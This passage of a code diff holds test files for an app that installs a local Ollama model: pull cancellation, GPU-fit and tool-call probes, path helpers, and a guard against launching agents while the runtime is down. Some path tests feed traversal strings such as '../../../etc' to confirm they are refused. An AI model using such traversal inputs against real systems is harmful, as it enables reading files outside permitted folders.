const seen: PullProgress[] = [];
|
||||
const result = await pullModel(target, MODEL, {
|
||||
signal: controller.signal,
|
||||
sleep: noSleep,
|
||||
onProgress: (progress) => {
|
||||
seen.push(progress);
|
||||
controller.abort();
|
||||
},
|
||||
});
|
||||
expect(result).toEqual({ ok: false, code: 'cancelled' });
|
||||
expect(seen).toHaveLength(1);
|
||||
expect(server.state.pulls).toBe(1);
|
||||
expect(server.state.installed).toBe(false);
|
||||
// Pulling again is the resume: it starts where the cancelled one stopped.
|
||||
server.switches.pull.lineDelayMs = 0;
|
||||
const again: number[] = [];
|
||||
expect(await pullModel(target, MODEL, { onProgress: (p) => again.push(p.completedBytes) })).toEqual({
|
||||
ok: true,
|
||||
totalBytes: MODEL_BYTES,
|
||||
});
|
||||
expect(again[0]).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('answers cancelled at once for a signal that is already aborted', async () => {
|
||||
const { fake: server, target } = await runtime();
|
||||
const controller = new AbortController();
|
||||
controller.abort();
|
||||
expect(await pullModel(target, MODEL, { signal: controller.signal })).toEqual({ ok: false, code: 'cancelled' });
|
||||
expect(server.state.pulls).toBe(0);
|
||||
});
|
||||
|
||||
it('calls a cancel a cancel also on its last try, never a failed download', async () => {
|
||||
// With no retry left, the cut stream of an abort must not read as "the download keeps stopping".
|
||||
const { fake: server, target } = await runtime({ pull: { progressLines: 200, lineDelayMs: 10 } });
|
||||
const controller = new AbortController();
|
||||
const result = await pullModel(target, MODEL, {
|
||||
signal: controller.signal,
|
||||
retries: 0,
|
||||
onProgress: () => controller.abort(),
|
||||
});
|
||||
expect(result).toEqual({ ok: false, code: 'cancelled' });
|
||||
expect(server.state.pulls).toBe(1);
|
||||
});
|
||||
|
||||
it('does not let a progress callback that throws fail the download', async () => {
|
||||
const { fake: server, target } = await runtime();
|
||||
let called = 0;
|
||||
const result = await pullModel(target, MODEL, {
|
||||
sleep: noSleep,
|
||||
onProgress: () => {
|
||||
called += 1;
|
||||
throw new Error('the window is gone');
|
||||
},
|
||||
});
|
||||
expect(called).toBeGreaterThan(0);
|
||||
expect(result).toEqual({ ok: true, totalBytes: MODEL_BYTES });
|
||||
expect(server.state.pulls).toBe(1);
|
||||
});
|
||||
|
||||
it('answers with a result, not an exception, when its own clock throws', async () => {
|
||||
const { target } = await runtime();
|
||||
const result = await pullModel(target, MODEL, {
|
||||
sleep: noSleep,
|
||||
retries: 1,
|
||||
onProgress: () => undefined,
|
||||
now: () => {
|
||||
throw new Error('no clock');
|
||||
},
|
||||
});
|
||||
expect(result).toEqual({ ok: false, code: 'pull-failed', detail: 'no clock' });
|
||||
});
|
||||
});
|
||||
|
||||
// ---------- 4. The check after the pull ----------
|
||||
|
||||
describe('the probe requests', () => {
|
||||
it('builds a tiny chat with reasoning off', () => {
|
||||
expect(buildChatProbeRequest(MODEL)).toEqual({
|
||||
model: MODEL,
|
||||
messages: [{ role: 'user', content: 'Reply with the single word: ready' }],
|
||||
reasoning_effort: 'none',
|
||||
max_tokens: 16,
|
||||
temperature: 0,
|
||||
stream: false,
|
||||
});
|
||||
expect(buildChatProbeRequest(MODEL)).not.toHaveProperty('tools');
|
||||
});
|
||||
|
||||
it('builds a tool probe with a tools array, reasoning off and 1024 tokens', () => {
|
||||
expect(TOOL_PROBE_MAX_TOKENS).toBe(1024);
|
||||
const request = buildToolProbeRequest(MODEL) as {
|
||||
model: string;
|
||||
messages: { role: string; content: string }[];
|
||||
tools: { type: string; function: { name: string; parameters: { type: string; required: string[] } } }[];
|
||||
reasoning_effort: string;
|
||||
max_tokens: number;
|
||||
stream: boolean;
|
||||
};
|
||||
expect(request.model).toBe(MODEL);
|
||||
expect(request.reasoning_effort).toBe('none');
|
||||
expect(request.max_tokens).toBe(1024);
|
||||
expect(request.stream).toBe(false);
|
||||
expect(request.tools.map((tool) => [tool.type, tool.function.name])).toEqual([
|
||||
['function', 'read_file'],
|
||||
['function', 'write_file'],
|
||||
['function', 'run_command'],
|
||||
]);
|
||||
for (const tool of request.tools) {
|
||||
expect(tool.function.parameters.type).toBe('object');
|
||||
expect(tool.function.parameters.required.length).toBeGreaterThan(0);
|
||||
}
|
||||
// The task can only be done with a tool.
|
||||
expect(request.messages.at(-1)).toEqual({
|
||||
role: 'user',
|
||||
content: 'Read the file README.md and tell me what it says.',
|
||||
});
|
||||
// Nothing forces the call: the model has to decide to make it.
|
||||
expect(request).not.toHaveProperty('tool_choice');
|
||||
});
|
||||
});
|
||||
|
||||
describe('judgeLoaded', () => {
|
||||
const loaded = (overrides: Partial<OllamaPsModel> = {}): OllamaPsModel => ({
|
||||
name: MODEL,
|
||||
size: 23_205_798_956,
|
||||
sizeVram: 23_205_798_956,
|
||||
contextLength: CONTEXT,
|
||||
...overrides,
|
||||
});
|
||||
|
||||
it('passes a model that is all on the GPU at the chosen context', () => {
|
||||
expect(judgeLoaded([loaded()], MODEL, CONTEXT)).toEqual({
|
||||
ok: true,
|
||||
loaded: { context: 131072, sizeBytes: 23_205_798_956, sizeVramBytes: 23_205_798_956 },
|
||||
});
|
||||
// Another loaded model beside it does not matter.
|
||||
expect(judgeLoaded([loaded({ name: 'other:1', contextLength: 4096 }), loaded()], MODEL, CONTEXT).ok).toBe(true);
|
||||
});
|
||||
|
||||
it('answers load-failed when the model is not listed', () => {
|
||||
expect(judgeLoaded([], MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'load-failed' });
|
||||
expect(judgeLoaded([loaded({ name: 'other:1' })], MODEL, CONTEXT)).toMatchObject({
|
||||
ok: false,
|
||||
code: 'load-failed',
|
||||
});
|
||||
expect(judgeLoaded([loaded({ size: 0, sizeVram: 0 })], MODEL, CONTEXT)).toMatchObject({
|
||||
ok: false,
|
||||
code: 'load-failed',
|
||||
});
|
||||
});
|
||||
|
||||
it('answers does-not-fit when part of the model is not on the GPU', () => {
|
||||
const judged = judgeLoaded([loaded({ sizeVram: 20_000_000_000 })], MODEL, CONTEXT);
|
||||
expect(judged).toEqual({
|
||||
ok: false,
|
||||
code: 'does-not-fit',
|
||||
detail: '20.0 of 23.2 GB of the model are on the GPU',
|
||||
});
|
||||
// One byte is enough.
|
||||
expect(judgeLoaded([loaded({ sizeVram: 23_205_798_955 })], MODEL, CONTEXT)).toMatchObject({ code: 'does-not-fit' });
|
||||
expect(judgeLoaded([loaded({ sizeVram: 0 })], MODEL, CONTEXT)).toMatchObject({ code: 'does-not-fit' });
|
||||
});
|
||||
|
||||
it('answers context-not-applied when the runtime loaded another context', () => {
|
||||
expect(judgeLoaded([loaded({ contextLength: 32768 })], MODEL, CONTEXT)).toEqual({
|
||||
ok: false,
|
||||
code: 'context-not-applied',
|
||||
detail: 'The runtime reports a context of 32768 tokens, not 131072',
|
||||
});
|
||||
// A larger one is not the chosen one either.
|
||||
expect(judgeLoaded([loaded({ contextLength: 262144 })], MODEL, CONTEXT)).toMatchObject({
|
||||
code: 'context-not-applied',
|
||||
});
|
||||
});
|
||||
|
||||
it('looks at the GPU before the context', () => {
|
||||
expect(judgeLoaded([loaded({ sizeVram: 1, contextLength: 4096 })], MODEL, CONTEXT)).toMatchObject({
|
||||
code: 'does-not-fit',
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('judgeToolProbe', () => {
|
||||
/** An answer of `/v1/chat/completions` with this message and finish reason. */
|
||||
const answer = (message: Record<string, unknown>, finishReason: string): unknown => ({
|
||||
id: 'chatcmpl-1',
|
||||
object: 'chat.completion',
|
||||
choices: [{ index: 0, message: { role: 'assistant', ...message }, finish_reason: finishReason }],
|
||||
});
|
||||
const call = (argumentsValue: unknown, name: unknown = 'read_file'): Record<string, unknown> => ({
|
||||
id: 'call_1',
|
||||
index: 0,
|
||||
type: 'function',
|
||||
function: { name, arguments: argumentsValue },
|
||||
});
|
||||
|
||||
it('passes on a tool call whose arguments parse as a JSON object', () => {
|
||||
expect(
|
||||
judgeToolProbe(200, answer({ content: '', tool_calls: [call('{"path":"README.md"}')] }, 'tool_calls'))
|
||||
).toEqual({ ok: true });
|
||||
// Arguments that are an object already, and an empty object, are arguments too.
|
||||
expect(judgeToolProbe(200, answer({ tool_calls: [call({ path: 'README.md' })] }, 'tool_calls'))).toEqual({
|
||||
ok: true,
|
||||
});
|
||||
expect(judgeToolProbe(200, answer({ tool_calls: [call('{}')] }, 'tool_calls'))).toEqual({ ok: true });
|
||||
// The finish reason is not what decides: the call is.
|
||||
expect(judgeToolProbe(200, answer({ tool_calls: [call('{"path":"a"}')] }, 'stop'))).toEqual({ ok: true });
|
||||
});
|
||||
|
||||
it('answers no-tool-call for an answer in plain text', () => {
|
||||
expect(judgeToolProbe(200, answer({ content: 'I would read the file, but I cannot.' }, 'stop'))).toEqual({
|
||||
ok: false,
|
||||
code: 'no-tool-call',
|
||||
detail: 'The model answered in text: I would read the file, but I cannot.',
|
||||
});
|
||||
expect(judgeToolProbe(200, answer({ content: '', tool_calls: [] }, 'stop'))).toMatchObject({
|
||||
ok: false,
|
||||
code: 'no-tool-call',
|
||||
});
|
||||
});
|
||||
|
||||
it('answers no-tool-call for a tool call whose arguments are not a JSON object', () => {
|
||||
for (const bad of ['{"path": ', 'README.md', '"README.md"', '[1]', 'null', '', 42, null, undefined]) {
|
||||
expect(judgeToolProbe(200, answer({ tool_calls: [call(bad)] }, 'tool_calls')), JSON.stringify(bad)).toMatchObject(
|
||||
{
|
||||
ok: false,
|
||||
code: 'no-tool-call',
|
||||
}
|
||||
);
|
||||
}
|
||||
// A call without a name, and one good call beside a broken one.
|
||||
expect(judgeToolProbe(200, answer({ tool_calls: [call('{}', '')] }, 'tool_calls'))).toMatchObject({
|
||||
code: 'no-tool-call',
|
||||
});
|
||||
expect(
|
||||
judgeToolProbe(200, answer({ tool_calls: [call('{"path":"a"}'), call('{"path": ')] }, 'tool_calls'))
|
||||
).toMatchObject({ code: 'no-tool-call' });
|
||||
expect(judgeToolProbe(200, answer({ tool_calls: ['read_file'] }, 'tool_calls'))).toMatchObject({
|
||||
code: 'no-tool-call',
|
||||
});
|
||||
});
|
||||
|
||||
it('answers probe-unfinished when the token limit ended the answer: that proves nothing', () => {
|
||||
expect(
|
||||
judgeToolProbe(200, answer({ content: '', reasoning: 'The user wants me to read a file. I should' }, 'length'))
|
||||
).toEqual({ ok: false, code: 'probe-unfinished', detail: 'The answer ended at 1024 tokens' });
|
||||
});
|
||||
|
||||
it('answers load-failed for any other status, with what the runtime said', () => {
|
||||
expect(judgeToolProbe(500, { error: { message: 'llm server error: out of memory' } })).toEqual({
|
||||
ok: false,
|
||||
code: 'load-failed',
|
||||
detail: 'llm server error: out of memory',
|
||||
});
|
||||
expect(judgeToolProbe(404, { error: "model 'x' not found" })).toMatchObject({
|
||||
code: 'load-failed',
|
||||
detail: "model 'x' not found",
|
||||
});
|
||||
expect(judgeToolProbe(502, undefined)).toEqual({
|
||||
ok: false,
|
||||
code: 'load-failed',
|
||||
detail: 'The runtime answered 502',
|
||||
});
|
||||
});
|
||||
|
||||
it('answers no-tool-call for a 200 it cannot read at all', () => {
|
||||
for (const body of [undefined, null, 'text', [], {}, { choices: [] }, { choices: [null] }, { choices: [{}] }]) {
|
||||
expect(judgeToolProbe(200, body), JSON.stringify(body)).toEqual({
|
||||
ok: false,
|
||||
code: 'no-tool-call',
|
||||
detail: 'The answer holds no tool call',
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('verifyModel', () => {
|
||||
it('passes a model that loads, sits on the GPU at the chosen context and calls a tool', async () => {
|
||||
const { fake: server, target } = await runtime({ installed: true });
|
||||
expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({
|
||||
ok: true,
|
||||
loaded: { context: 131072, sizeBytes: 23_205_798_956, sizeVramBytes: 23_205_798_956 },
|
||||
});
|
||||
// In this order: the chat that loads it, the process list, the tool probe.
|
||||
expect(server.requests.map((r) => `${r.method} ${r.path}`)).toEqual([
|
||||
'POST /v1/chat/completions',
|
||||
'GET /api/ps',
|
||||
'POST /v1/chat/completions',
|
||||
]);
|
||||
const [chat, , probe] = server.requests.map((r) => r.body as Record<string, unknown>);
|
||||
expect(chat).toEqual(buildChatProbeRequest(MODEL));
|
||||
expect(chat).toMatchObject({ reasoning_effort: 'none' });
|
||||
expect(chat).not.toHaveProperty('tools');
|
||||
expect(probe).toEqual(buildToolProbeRequest(MODEL));
|
||||
expect(probe).toMatchObject({ reasoning_effort: 'none', max_tokens: 1024 });
|
||||
expect(Array.isArray(probe.tools)).toBe(true);
|
||||
});
|
||||
|
||||
it('answers load-failed when the chat that loads the model fails, and asks nothing more', async () => {
|
||||
const { fake: server, target } = await runtime({ installed: true, chat: 'error' });
|
||||
expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({
|
||||
ok: false,
|
||||
code: 'load-failed',
|
||||
detail: 'llm server error: out of memory',
|
||||
});
|
||||
expect(server.requests).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('answers load-failed for a model that is not on disk', async () => {
|
||||
const { target } = await runtime();
|
||||
expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'load-failed' });
|
||||
});
|
||||
|
||||
it('answers load-failed when no runtime answers', async () => {
|
||||
expect(await verifyModel(await deadTarget(), MODEL, CONTEXT)).toEqual({
|
||||
ok: false,
|
||||
code: 'load-failed',
|
||||
detail: 'The runtime did not answer the first request',
|
||||
});
|
||||
});
|
||||
|
||||
it('answers load-failed when the model is not in the process list after the chat', async () => {
|
||||
const { fake: server, target } = await runtime({ installed: true, ps: { loaded: false } });
|
||||
expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'load-failed' });
|
||||
// The tool probe was not sent.
|
||||
expect(server.requests.filter((r) => r.path === '/v1/chat/completions')).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('answers does-not-fit when part of the model is not on the GPU, before any tool probe', async () => {
|
||||
const { fake: server, target } = await runtime({ installed: true, ps: { sizeVram: 18_000_000_000 } });
|
||||
expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({
|
||||
ok: false,
|
||||
code: 'does-not-fit',
|
||||
detail: '18.0 of 23.2 GB of the model are on the GPU',
|
||||
});
|
||||
expect(server.requests.filter((r) => r.path === '/v1/chat/completions')).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('answers context-not-applied when the runtime loaded another context than the chosen one', async () => {
|
||||
const { target } = await runtime({ installed: true, contextLength: 32768 });
|
||||
expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'context-not-applied' });
|
||||
// The same runtime passes when 32768 is what was chosen.
|
||||
expect(await verifyModel(target, MODEL, 32768)).toMatchObject({ ok: true, loaded: { context: 32768 } });
|
||||
});
|
||||
|
||||
it('answers no-tool-call when the model answers the tool probe in text', async () => {
|
||||
const { target } = await runtime({ installed: true, tool: 'none' });
|
||||
expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({
|
||||
ok: false,
|
||||
code: 'no-tool-call',
|
||||
detail: 'The model answered in text: I would read the file, but I cannot.',
|
||||
});
|
||||
});
|
||||
|
||||
it('answers no-tool-call when the arguments of the tool call do not parse', async () => {
|
||||
const { target } = await runtime({ installed: true, tool: 'bad-arguments' });
|
||||
expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'no-tool-call' });
|
||||
});
|
||||
|
||||
it('answers probe-unfinished, not no-tool-call, when the token limit ended the answer', async () => {
|
||||
const { target } = await runtime({ installed: true, tool: 'length' });
|
||||
expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'probe-unfinished' });
|
||||
});
|
||||
|
||||
it('answers cancelled for an aborted signal, at whatever point it is noticed', async () => {
|
||||
const { fake: server, target } = await runtime({ installed: true });
|
||||
const before = new AbortController();
|
||||
before.abort();
|
||||
expect(await verifyModel(target, MODEL, CONTEXT, before.signal)).toEqual({ ok: false, code: 'cancelled' });
|
||||
expect(server.requests).toHaveLength(0);
|
||||
|
||||
// Aborted while the first request is on its way.
|
||||
const during = new AbortController();
|
||||
const slow: OllamaTarget = {
|
||||
baseUrl: server.baseUrl,
|
||||
fetch: async (input, init) => {
|
||||
during.abort();
|
||||
return fetch(input, init);
|
||||
},
|
||||
};
|
||||
expect(await verifyModel(slow, MODEL, CONTEXT, during.signal)).toEqual({ ok: false, code: 'cancelled' });
|
||||
});
|
||||
|
||||
it('never throws, whatever the runtime sends back', async () => {
|
||||
const answers = ['', 'not json', '[]', 'null', '{"choices":"x"}'];
|
||||
for (const text of answers) {
|
||||
const target: OllamaTarget = {
|
||||
baseUrl: 'http://127.0.0.1:1',
|
||||
fetch: async () => new Response(text, { status: 200 }),
|
||||
};
|
||||
const result = await verifyModel(target, MODEL, CONTEXT);
|
||||
// The chat was "answered", the process list lists nothing.
|
||||
expect(result, text).toMatchObject({ ok: false, code: 'load-failed' });
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,70 @@
|
||||
/**
|
||||
* @fileoverview Tests for src/local-model/paths.ts: where the local model lives on disk.
|
||||
*
|
||||
* Pinned: every path sits under the data dir (so a second Codeman instance has its own),
|
||||
* everything but the state file sits inside the one folder uninstall owns, a version string
|
||||
* can never add a path segment, and the inside-the-folder check resolves `..` first.
|
||||
*
|
||||
* Port: N/A (pure functions; the data dir is the temp HOME test/setup.ts gives each file).
|
||||
*/
|
||||
|
||||
import { join } from 'node:path';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { getDataDir } from '../src/config/instance.js';
|
||||
import { isInsideLocalModelRoot, localModelPaths } from '../src/local-model/paths.js';
|
||||
|
||||
describe('localModelPaths', () => {
|
||||
it('builds every path from the data dir', () => {
|
||||
const data = getDataDir();
|
||||
expect(localModelPaths('0.40.15')).toEqual({
|
||||
root: join(data, 'local-model'),
|
||||
runtimeRoot: join(data, 'local-model', 'runtime'),
|
||||
runtimeDir: join(data, 'local-model', 'runtime', 'ollama-0.40.15'),
|
||||
binary: join(data, 'local-model', 'runtime', 'ollama-0.40.15', 'ollama'),
|
||||
archivePartial: join(data, 'local-model', 'runtime', 'ollama-0.40.15.tgz.partial'),
|
||||
unpackDir: join(data, 'local-model', 'runtime', 'ollama-0.40.15.unpack'),
|
||||
modelsDir: join(data, 'local-model', 'models'),
|
||||
homeDir: join(data, 'local-model', 'home'),
|
||||
stateFile: join(data, 'local-model.json'),
|
||||
});
|
||||
});
|
||||
|
||||
it('keeps everything but the state file inside the one folder', () => {
|
||||
const paths = localModelPaths('0.40.15');
|
||||
const { root, stateFile, ...inside } = paths;
|
||||
for (const path of Object.values(inside)) expect(isInsideLocalModelRoot(path, root)).toBe(true);
|
||||
expect(isInsideLocalModelRoot(root, root)).toBe(true);
|
||||
expect(isInsideLocalModelRoot(stateFile, root)).toBe(false);
|
||||
});
|
||||
|
||||
it('refuses a version that is not digits and dots', () => {
|
||||
for (const version of ['', '0', '../x', '0.40.15/..', '0.40.15-rc1', 'v0.40.15', '0..1', '1.2.3.4.5']) {
|
||||
expect(() => localModelPaths(version)).toThrow(/Not a runtime version/);
|
||||
}
|
||||
expect(() => localModelPaths('1.2')).not.toThrow();
|
||||
expect(() => localModelPaths('1.2.3.4')).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe('isInsideLocalModelRoot', () => {
|
||||
const root = '/data/local-model';
|
||||
|
||||
it('accepts the folder and what lies in it', () => {
|
||||
expect(isInsideLocalModelRoot('/data/local-model', root)).toBe(true);
|
||||
expect(isInsideLocalModelRoot('/data/local-model/', root)).toBe(true);
|
||||
expect(isInsideLocalModelRoot('/data/local-model/models/blobs/x', root)).toBe(true);
|
||||
});
|
||||
|
||||
it('refuses a sibling, a parent and a path that climbs out', () => {
|
||||
expect(isInsideLocalModelRoot('/data/local-model.json', root)).toBe(false);
|
||||
expect(isInsideLocalModelRoot('/data/local-model-2/x', root)).toBe(false);
|
||||
expect(isInsideLocalModelRoot('/data', root)).toBe(false);
|
||||
expect(isInsideLocalModelRoot('/data/local-model/../settings.json', root)).toBe(false);
|
||||
expect(isInsideLocalModelRoot('/data/local-model/models/../../../etc', root)).toBe(false);
|
||||
});
|
||||
|
||||
it('defaults to the folder under the data dir', () => {
|
||||
expect(isInsideLocalModelRoot(join(getDataDir(), 'local-model', 'home'))).toBe(true);
|
||||
expect(isInsideLocalModelRoot(join(getDataDir(), 'settings.json'))).toBe(false);
|
||||
});
|
||||
});
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,294 @@
|
||||
/**
|
||||
* @fileoverview No coding agent is STARTED on the model Codeman runs on this Mac while that
|
||||
* model cannot be started on: the launch guard below the routes.
|
||||
*
|
||||
* The two routes that put a session onto a custom model endpoint ask the install service
|
||||
* before they write anything (test/routes/local-model-launch-guard.test.ts). That leaves
|
||||
* every other way a new agent process comes to be in a session that already carries the
|
||||
* selection: the attach that finds no pane, the respawn of a dead pane (a click on the tab, a
|
||||
* respawn start, the recovery at boot), a restart in place, and the rebuild after a reboot.
|
||||
* They all end in `Session`, so the guard sits there:
|
||||
*
|
||||
* - `Session.setLaunchGuard()` is asked right before a NEW agent process is started (a fresh
|
||||
* pane, the respawn of a dead one, `restartCli()`), and never for an attach to an agent
|
||||
* that runs: a session whose runtime was stopped can still be looked at and closed.
|
||||
* - `WebServer.setupSessionListeners()` sets it for every session, and it asks
|
||||
* `LocalModelService.launchRefusalMessage()` with the session's own selection.
|
||||
* - The reboot-restore route asks the same question before it builds anything, so the entry
|
||||
* is refused with its own reason and stays on offer.
|
||||
*
|
||||
* The Session cases drive a real `Session` against the in-memory tmux layer vitest
|
||||
* substitutes. The wiring cases use the REAL install service over the real state file, with
|
||||
* no runtime running, which is exactly the state that must refuse.
|
||||
*
|
||||
* Port: N/A (WebServer in test mode binds none; the routes go through app.inject).
|
||||
*/
|
||||
import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { homedir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import Fastify, { type FastifyInstance } from 'fastify';
|
||||
import fastifyCookie from '@fastify/cookie';
|
||||
import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import { dataPath } from '../src/config/instance.js';
|
||||
import type { RebootRestoreEntry } from '../src/reboot-restore.js';
|
||||
import { Session } from '../src/session.js';
|
||||
import { TmuxManager } from '../src/tmux-manager.js';
|
||||
import { httpStatusForErrorCode, type ApiErrorCode, type MuxSession, type SessionState } from '../src/types.js';
|
||||
import { rebootRestoreRegistry } from '../src/web/reboot-restore-registry.js';
|
||||
import { installRouteErrorHandler } from '../src/web/route-error-handler.js';
|
||||
import { registerRebootRestoreRoutes } from '../src/web/routes/reboot-restore-routes.js';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import { createMockRouteContext, safeRmHomeTree } from './mocks/index.js';
|
||||
|
||||
const WORKSPACE = join(homedir(), 'codeman-cases', 'local-model-launch-guard');
|
||||
const STATE = () => dataPath('local-model.json');
|
||||
const NOT_RUNNING = 'The model on this Mac is not running. Start it first.';
|
||||
const CHANGED = 'The model on this Mac changed since it was installed. Remove it and install it again.';
|
||||
const SELECTION = { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b', envKeys: [] as string[] };
|
||||
|
||||
const sessions: Session[] = [];
|
||||
|
||||
function paneOf(mode: 'claude' | 'opencode' = 'claude'): MuxSession {
|
||||
return {
|
||||
sessionId: 'placeholder',
|
||||
muxName: 'codeman-cafe0002',
|
||||
pid: 1,
|
||||
createdAt: Date.now(),
|
||||
workingDir: WORKSPACE,
|
||||
mode,
|
||||
attached: false,
|
||||
};
|
||||
}
|
||||
|
||||
/** A session that already has a pane, alive or dead as the test says. */
|
||||
function sessionWithPane(dead: boolean) {
|
||||
mkdirSync(WORKSPACE, { recursive: true });
|
||||
const mux = new TmuxManager();
|
||||
const session = new Session({ workingDir: WORKSPACE, mode: 'claude', mux, useMux: true, muxSession: paneOf() });
|
||||
sessions.push(session);
|
||||
vi.spyOn(mux, 'muxSessionExists').mockReturnValue(true);
|
||||
vi.spyOn(mux, 'isPaneDead').mockReturnValue(dead);
|
||||
const respawn = vi.spyOn(mux, 'respawnPane').mockResolvedValue(4242);
|
||||
const create = vi.spyOn(mux, 'createSession');
|
||||
return { session, mux, respawn, create };
|
||||
}
|
||||
|
||||
/** The state file of an installed model whose connection is the managed record. No runtime runs. */
|
||||
function writeInstalledState(): void {
|
||||
writeFileSync(
|
||||
STATE(),
|
||||
JSON.stringify({
|
||||
schema: 1,
|
||||
state: 'installed',
|
||||
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072, digest: 'abc123' },
|
||||
cli: { id: 'opencode', label: 'OpenCode' },
|
||||
runtime: { version: '0.40.15', port: 11435, enabled: true },
|
||||
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
|
||||
})
|
||||
);
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
for (const session of sessions.splice(0)) session.stop();
|
||||
rmSync(STATE(), { force: true });
|
||||
rebootRestoreRegistry.reset();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
afterAll(() => {
|
||||
safeRmHomeTree(WORKSPACE);
|
||||
});
|
||||
|
||||
describe('Session: the guard is asked before a new agent process, and only then', () => {
|
||||
it('a restart in place that is refused rejects with the sentence, and the pane keeps what runs in it', async () => {
|
||||
const { session, respawn } = sessionWithPane(false);
|
||||
const guard = vi.fn(async () => CHANGED);
|
||||
session.setLaunchGuard(guard);
|
||||
await expect(session.restartCli()).rejects.toThrow(CHANGED);
|
||||
expect(guard).toHaveBeenCalledTimes(1);
|
||||
expect(respawn).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('a guard that has nothing to say lets the restart through', async () => {
|
||||
const { session, respawn } = sessionWithPane(false);
|
||||
session.setLaunchGuard(async () => undefined);
|
||||
expect(await session.restartCli()).toBe(true);
|
||||
expect(respawn).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('without a guard nothing changes', async () => {
|
||||
const { session, respawn } = sessionWithPane(false);
|
||||
expect(await session.restartCli()).toBe(true);
|
||||
expect(respawn).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('an attach to a pane whose agent runs is never asked: the session can still be looked at', async () => {
|
||||
const { session, respawn, create } = sessionWithPane(false);
|
||||
const guard = vi.fn(async () => NOT_RUNNING);
|
||||
session.setLaunchGuard(guard);
|
||||
await session.startInteractive();
|
||||
expect(guard).not.toHaveBeenCalled();
|
||||
expect(respawn).not.toHaveBeenCalled();
|
||||
expect(create).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('the respawn of a dead pane is asked first, and a refusal starts nothing', async () => {
|
||||
const { session, respawn, create } = sessionWithPane(true);
|
||||
const guard = vi.fn(async () => NOT_RUNNING);
|
||||
session.setLaunchGuard(guard);
|
||||
await expect(session.startInteractive()).rejects.toThrow(NOT_RUNNING);
|
||||
expect(guard).toHaveBeenCalledTimes(1);
|
||||
expect(respawn).not.toHaveBeenCalled();
|
||||
// And no new pane is made in its place either.
|
||||
expect(create).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('a session without a pane is asked before one is created', async () => {
|
||||
mkdirSync(WORKSPACE, { recursive: true });
|
||||
const mux = new TmuxManager();
|
||||
const session = new Session({ workingDir: WORKSPACE, mode: 'claude', mux, useMux: true });
|
||||
sessions.push(session);
|
||||
const create = vi.spyOn(mux, 'createSession');
|
||||
session.setLaunchGuard(async () => NOT_RUNNING);
|
||||
await expect(session.startInteractive()).rejects.toThrow(NOT_RUNNING);
|
||||
expect(create).not.toHaveBeenCalled();
|
||||
|
||||
// The guard taken away again: the pane is created.
|
||||
session.setLaunchGuard(null);
|
||||
create.mockResolvedValue(paneOf());
|
||||
await session.startInteractive();
|
||||
expect(create).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe('WebServer: every session asks the install service about its own selection', () => {
|
||||
interface ServerInternals {
|
||||
setupSessionListeners(session: Session): Promise<void>;
|
||||
discardPartiallyBuiltSession(sessionId: string): Promise<void>;
|
||||
}
|
||||
let server: WebServer;
|
||||
let internals: ServerInternals;
|
||||
|
||||
beforeAll(() => {
|
||||
// Test mode: no port is opened and no CLI is launched.
|
||||
server = new WebServer(0, false, true);
|
||||
internals = server as unknown as ServerInternals;
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
await server.stop().catch(() => {});
|
||||
});
|
||||
|
||||
async function wired(selection?: typeof SELECTION) {
|
||||
const made = sessionWithPane(false);
|
||||
if (selection) made.session.setCustomModel(selection, {});
|
||||
await internals.setupSessionListeners(made.session);
|
||||
return made;
|
||||
}
|
||||
|
||||
it('a session on the managed endpoint is not restarted while the runtime is down', async () => {
|
||||
writeInstalledState();
|
||||
const { session, respawn } = await wired(SELECTION);
|
||||
await expect(session.restartCli()).rejects.toThrow(NOT_RUNNING);
|
||||
expect(respawn).not.toHaveBeenCalled();
|
||||
await internals.discardPartiallyBuiltSession(session.id).catch(() => {});
|
||||
});
|
||||
|
||||
it('nor is its dead pane respawned, which is what a click on the tab and the boot recovery do', async () => {
|
||||
writeInstalledState();
|
||||
const { session, mux, respawn } = await wired(SELECTION);
|
||||
vi.spyOn(mux, 'isPaneDead').mockReturnValue(true);
|
||||
await expect(session.startInteractive()).rejects.toThrow(NOT_RUNNING);
|
||||
expect(respawn).not.toHaveBeenCalled();
|
||||
await internals.discardPartiallyBuiltSession(session.id).catch(() => {});
|
||||
});
|
||||
|
||||
it('only the model that was installed may be started on it', async () => {
|
||||
writeInstalledState();
|
||||
const { session } = await wired({ ...SELECTION, modelId: 'something-pulled-by-hand' });
|
||||
